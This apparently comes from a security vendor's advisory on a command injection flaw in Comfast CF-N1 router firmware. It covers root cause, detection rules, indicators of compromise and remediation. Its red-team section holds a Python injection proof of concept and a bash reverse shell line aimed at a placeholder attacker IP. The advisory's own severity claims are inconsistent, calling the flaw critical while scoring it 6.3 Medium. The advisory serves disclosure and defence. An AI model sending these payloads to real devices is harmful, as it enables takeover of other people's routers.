CVE-2025-9586

Executive Summary

CVE-2025-9586 is a critical command injection vulnerability identified in the Comfast CF-N1 router firmware version 2.6.0. The flaw resides in the wireless_device_dissoc function within the /usr/bin/webmgnt binary. By manipulating the mac argument, an unauthenticated remote attacker can inject arbitrary operating system commands, leading to full device compromise. The exploit is publicly available, and no official patch has been released by Comfast. This vulnerability poses a significant risk to all devices running the affected firmware, as it can be exploited without authentication over the network.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector (AV): Network – Exploitable remotely.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): None – No user action required.
• Scope (S): Unchanged – Exploit does not affect other components.
• Confidentiality (C): Low – Limited data exposure.
• Integrity (I): Low – Limited data modification.
• Availability (A): Low – Limited service disruption.

Threat Level: High due to public exploit availability, no patch, and remote unauthenticated access.

Deep Dive & Mechanics

The vulnerability is a classic command injection flaw in the wireless_device_dissoc function of the /usr/bin/webmgnt binary. This function is responsible for disassociating wireless devices from the router. It accepts a mac parameter, which is passed to a system command without proper sanitization or validation.

Root Cause: The application constructs a shell command by concatenating user-supplied input directly into the command string. For example, the vulnerable code might resemble:

sprintf(cmd, "iw dev wlan0 disassoc %s", user_mac);
system(cmd);

An attacker can inject additional commands by including shell metacharacters (e.g., ;, |, &&) in the mac argument.

Attack Vector: The webmgnt binary listens on the network, likely on port 80 or 443, and processes HTTP requests. The mac parameter is typically passed via GET or POST requests to the endpoint handling wireless device disassociation.

Impact: Successful exploitation allows an attacker to execute arbitrary commands with root privileges on the router, enabling full control over the device, including data exfiltration, lateral movement, and use in botnets.

Vulnerable vs. Patched Code

Vulnerable Code (CVE-2025-9586):

// /usr/bin/webmgnt - vulnerable version
void wireless_device_dissoc(char *mac) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "iw dev wlan0 disassoc %s", mac);
    system(cmd);
}

Patched Code (Hypothetical):

// Patched version - input validation and sanitization
void wireless_device_dissoc(char *mac) {
    // Validate MAC address format (e.g., XX:XX:XX:XX:XX:XX)
    if (!is_valid_mac(mac)) {
        log_error("Invalid MAC address");
        return;
    }
    // Use execve to avoid shell injection
    char *args[] = {"iw", "dev", "wlan0", "disassoc", mac, NULL};
    execve("/sbin/iw", args, NULL);
}

The patched version validates the MAC address format and uses execve instead of system to prevent shell interpretation of the input.

Exploitation & Lab Setup

Red Team

Exploit Code (Python):

import requests

target = "http://192.168.1.1"
payload = "; id > /tmp/exploit.txt;"
url = f"{target}/cgi-bin/webmgnt?action=disassoc&mac=00:11:22:33:44:55{payload}"

response = requests.get(url)
print(f"Exploit sent. Check /tmp/exploit.txt on the router.")

Lab Setup:

1. Obtain a Comfast CF-N1 router with firmware 2.6.0.
2. Connect the router to a isolated lab network.
3. Run the exploit script against the router's IP.
4. Verify command execution by checking for the created file or using a reverse shell.

Reverse Shell Payload:

; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1;

Blue Team

Detection Steps:

1. Monitor HTTP requests to /cgi-bin/webmgnt with unusual mac parameters containing shell metacharacters (;, |, &, $).
2. Check for unexpected processes spawned by webmgnt (e.g., iw, bash, sh).
3. Look for outbound connections from the router to unknown IPs on unusual ports.
4. Verify integrity of /usr/bin/webmgnt binary.

Honeypot Configuration:

• Deploy a fake endpoint mimicking the vulnerable service to capture exploit attempts.
• Log all mac parameter values for analysis.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /cgi-bin/webmgnt with mac parameter containing shell metacharacters.
  • Outbound connections from the router to attacker-controlled IPs on ports 4444, 8080, etc.
• File IOCs:
  • Unexpected files in /tmp/ (e.g., exploit.txt, pwned).
  • Modified /usr/bin/webmgnt binary.
• Process IOCs:
  • Unusual processes like bash, sh, nc, python spawned by webmgnt.
• Log IOCs:
  • System log entries showing command execution via iw or system() calls.

Detection Engineering

YARA Rule

rule CVE_2025_9586_Comfast_CF_N1_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting CVE-2025-9586 in Comfast CF-N1"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-9586"
    strings:
        $cmd_inject = /mac=[0-9a-fA-F:]{17}[;&|`$]/
        $shell_meta = /[;&|`$]/
    condition:
        $cmd_inject or ($shell_meta and #cmd_inject > 0)
}

Sigma Rule

title: CVE-2025-9586 Comfast CF-N1 Command Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with malicious mac parameter targeting Comfast CF-N1
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/cgi-bin/webmgnt'
        cs-uri-query|contains: 'mac='
        cs-uri-query|re: 'mac=[0-9a-fA-F:]{17}[;&|`$]'
    condition: selection
falsepositives:
    - Legitimate MAC addresses with special characters (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-9586 Comfast CF-N1 Command Injection Attempt"; flow:to_server; content:"/cgi-bin/webmgnt"; http_uri; content:"mac="; http_uri; pcre:"/mac=[0-9a-fA-F:]{17}[;&|`$]/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Disconnect Comfast CF-N1 routers from untrusted networks.
2. Disable remote management: If possible, disable the web management interface or restrict access via firewall rules.
3. Monitor logs: Actively monitor for exploitation attempts using the provided detection rules.

Long-term Fix:

• Vendor patch: Await an official firmware update from Comfast. Since no patch is available, consider replacing the device.
• Custom firmware: If technically feasible, flash an alternative open-source firmware (e.g., OpenWrt) that does not contain the vulnerable code.
• Network segmentation: Place affected devices in a separate VLAN with strict access controls.

Workaround:

• Implement a reverse proxy or WAF (Web Application Firewall) to filter malicious mac parameters before they reach the router.

Valters IT
Securing Digital Frontiers